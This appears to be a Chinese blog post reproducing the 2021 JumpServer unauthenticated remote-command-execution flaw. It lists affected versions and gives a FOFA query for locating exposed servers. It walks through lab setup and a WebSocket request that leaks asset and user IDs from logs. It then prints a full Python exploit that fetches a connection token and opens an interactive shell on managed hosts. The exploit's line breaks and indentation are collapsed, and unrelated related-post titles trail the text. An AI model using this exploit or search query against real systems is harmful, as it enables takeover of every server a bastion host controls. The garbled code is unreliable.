前言

JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。JumpServer 使用Python / Django 进行开发。

2021年1月15日,JumpServer发布更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。

堡垒机(跳板机)的概念

堡垒机,即在一个特定的网络环境下,为了保障网络和数据不受来自外部和内部用户的入侵和破坏,而运用各种技术手段实时收集和监控网络环境中每一个组成部分的系统状态、安全事件、网络活动,以便集中报警、及时处理及审计定责。
直白的来讲就是统一管理资产权限

影响范围

JumpServer < v2.6.2

JumpServer < v2.5.4

JumpServer < v2.4.5

JumpServer = v1.5.9

fofa语法 app=“FIT2CLOUD-JumpServer-堡垒机”

准备

推荐使用centos7.x(尽量高的配置:4核8G 100G磁盘空间)搭建JumpServer (v2.6.1 新版本已经修复)。

CentOS7系统磁盘扩容

centos7 在原有磁盘空间基础上拓展大小需要清空之前的快照,从客户机操作系统内部对磁盘重新进行分区和拓展文件系统。

系统挂载磁盘

#原本的磁盘,并未扩容
[root@10 ~]# df -h
文件系统        容量  已用  可用 已用% 挂载点
/dev/sda3        10G  6.2G  3.9G   62% /
devtmpfs        3.8G     0  3.8G    0% /dev
tmpfs           3.9G     0  3.9G    0% /dev/shm
tmpfs           3.9G  9.0M  3.9G    1% /run
tmpfs           3.9G     0  3.9G    0% /sys/fs/cgroup
/dev/sda1       197M  152M   46M   78% /boot
tmpfs           781M   20K  781M    1% /run/user/0

查看新硬盘分区

fdisk -l /dev/sda #查看磁盘情况
df -lh            #查看磁盘占用情况
fdisk /dev/sda    #创建新分区        命令行输入 n 创建新分区 d 删除分区 p 显示当前分区 w 配置写入磁盘
xfs_growfs /dev/sda3    #刷新

centos7根目录扩容(根目录在sda3 vgdisplay为空)

扩容之后

搭建

wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.1/quick_start.sh

编辑安装脚本

vi quick_start.sh

将这两个变量的值修改,不改的话默认最先版本,最新版没有漏洞

Version="v2.6.1"
JMS_Version="v2.6.1"
chmod +x ./quick_start.sh
./quick_start.sh

默认会安装到/opt下

cd /opt/jumpserver-installer-v2.6.1
./jmsctl.sh start

安装完成后

先访问8080,默认账号密码问admin/admin,进入之后修改默认密码

复现前配置一下堡垒机:

在资源管理中添加一台主机(靶机),实现连接(可以参考官方文档)

访问http://10.10.10.142:8080/luna/?_=1676259416273

Google插件:https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

复现过程

打开插件

连接ws://youtip:8080/ws/ops/tasks/log进行测试
发送{"task":"/opt/jumpserver/logs/jumpserver"}查看日志

获取system_user user_id asset_id

asset_id=e911a0f0-069c-4ac1-a3ff-6459a4ec9d33
system_user_id=504dd258-3279-4615-bd4d-614a03231bee
user_id=aea7a80d-e1a5-44d8-8456-39f4cacd5856
import os
import asyncio
import aioconsole
import websockets
import requests
import jsonurl = "/api/v1/authentication/connection-token/?user-only=1"def get_celery_task_log_path(task_id):task_id = str(task_id)rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")path = os.path.join("/opt/jumpserver/", rel_path)return pathasync def send_msg(websocket, _text):if _text == "exit":print(f'you have enter "exit", goodbye')await websocket.close(reason="user exit")return Falseawait websocket.send(_text)async def send_loop(ws, session_id):while True:cmdline = await aioconsole.ainput()await send_msg(ws,json.dumps({"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}),)async def recv_loop(ws):while True:recv_text = await ws.recv()ret = json.loads(recv_text)if ret.get("type", "TERMINAL_DATA"):await aioconsole.aprint(ret["data"], end="")# 客户端主逻辑
async def main_logic():print("#######start ws")async with websockets.connect(target) as client:recv_text = await client.recv()print(f"{recv_text}")session_id = json.loads(recv_text)["id"]print("get ws id:" + session_id)print("###############")print("init ws")print("###############")inittext = json.dumps({"id": session_id,"type": "TERMINAL_INIT","data": '{"cols":164,"rows":17}',})await send_msg(client, inittext)await asyncio.gather(recv_loop(client), send_loop(client, session_id))if __name__ == "__main__":host = "http://192.168.31.227:8080"cmd = "whoami"if host[-1] == "/":host = host[:-1]print(host)data = {"user": "aea7a80d-e1a5-44d8-8456-39f4cacd5856", "asset": "e911a0f0-069c-4ac1-a3ff-6459a4ec9d33","system_user": "504dd258-3279-4615-bd4d-614a03231bee"}print("##################")print("get token url:%s" % (host + url,))print("##################")res = requests.post(host + url, json=data)token = res.json()["token"]print("token:%s", (token,))print("##################")target = ("ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token)print("target ws:%s" % (target,))asyncio.get_event_loop().run_until_complete(main_logic())

运行rce.py

python3 rce.py

JumpServer RCE复现相关推荐

  1. 远程控制漏洞CNVD-2022-10270/CNVD-2022-03672 向日葵RCE复现与解决

    上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞(CNVD-2022-10270/CNVD-2022-03672),影响Windows系统使用的个人版和简约版,攻击者可利用该漏洞获取服 ...

  2. 钉钉dingtalk=6.3.5版本RCE复现

    看到网上公开了钉钉RCE的利用方式,第一时间来复现一下. 钉钉dingtalk=6.3.5版本RCE复现 免责声明: 影响版本: 漏洞POC: 漏洞复现: 存在漏洞版本下载地址: 免责声明: 本文章仅 ...

  3. JumpServer RCE漏洞复现

    本文主要复现2021年1月出现的JumpSever的RCE漏洞 1.漏洞范围 JumpServer < v2.6.2 JumpServer < v2.5.4 JumpServer < ...

  4. 奇安信 网康下一代防火墙 RCE复现

    奇安信 网康下一代防火墙 RCE 漏洞描述 奇安信 网康下一代防火墙存在远程命令执行,通过漏洞攻击者可以获取服务器权限 漏洞影响 奇安信 网康下一代防火墙 FOFA app="网康科技-下一 ...

  5. CVE-2020-16875:Microsoft Exchange RCE复现

    https://my.oschina.net/u/4593034/blog/4632168 0x01 简介 Microsoft Exchange Server 是个消息与协作系统.Exchange s ...

  6. 向日葵远控rce复现

    向日葵 POC ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fwhoami 端口扫描 首先扫描端 ...

  7. 74CMS 5.0.1后台RCE复现过程

    在74CMS 5.0.1版本中的管理后台由于过滤不严谨,可以向配置文件写入恶意代码导致任意代码执行. file_put_contents('写进去的文件名称和格式',写的内容) 一句话木马:<? ...

  8. Sitecore Experience Platform Pre-Auth RCE 复现【CVE-2021-42237】

    POC链接:POC地址 官网通报:官网通报 CNNVD: CNNVD 实验版本下载:实验版本 快照: PATH: sitecore/shell/ClientBin/Reporting/Report.a ...

  9. CVE-2021-41773 CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 目录穿越漏洞

    给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 关注公众号:b1gpig信息安全,文章推送不错过 CVE-2021-41773漏洞描述: Apache HTTPd是Apache基金会开源的一款流 ...

最新文章

  1. SQL Server 2008基于策略的管理
  2. Openstack_通用模块_Oslo_vmware 创建 vSS PortGroup
  3. python官网如何调中文-django的settings中设置中文支持的实现
  4. Java VS .NET:Java与.NET的特点对比
  5. Linux内核分析--操作系统是如何工作的
  6. 复习笔记——操作系统
  7. linux指令快速复制粘贴[龟速更新中]
  8. 电脑计算器的快捷键_牛!这份金蝶财务软件使用手册+超全快捷键汇总送你,财务收好...
  9. JAVA中日期格式SimpleDateFormat
  10. 从上到下打印二叉树的三种题型
  11. 微信发送模板消息返回data format error hint 47001
  12. loongson2f_龙芯灵珑9S2A一体机tftp+usb安装debian6 详细过程:
  13. r语言导入spss数据_R软件导入数据_r语言怎么导入数据_R软件导入数据
  14. Java微信小程序的授权登陆
  15. 从木桶理论看自身职业生涯规划
  16. 输入输出流,看似复杂却更好用----小话c++(2)
  17. pybind11中文资料(第五章 面向对象的代码)
  18. Atom汉化之Atom-Simplified-Chinese-Menu
  19. graphpad做图如何加星号_graphpad prism 8.0 - 不用 PS,两招教你做出能发高分 SCI 的组合图!...
  20. 使用winsockfix修复网络正常但无法浏览网页

热门文章

  1. 共享内存(一)—— 共享内存的创建与释放
  2. 解决CF黑边和无法全屏
  3. php ziparc 扩展_请问扩展名为.php.cfg.pdf.rar的文件分别是什么文件用什么软件能够打开...
  4. 龙格-库塔方法学习笔记
  5. odp.net oracle objects for ole,odp.net以及oracle oledb安装
  6. 任正非是中国大陆民营电信设备企业——华为公司的创始人兼总裁。
  7. 浅谈从混沌工程引出的一点理解
  8. git push报错:fatal: unable to access ‘https://github.com/***/‘:The requested URL returned error: 403
  9. 深度学习与自然语言处理教程(1) - 词向量、SVD分解与Word2Vec(NLP通关指南·完结)
  10. cocos2d-x 使用tmx地图总结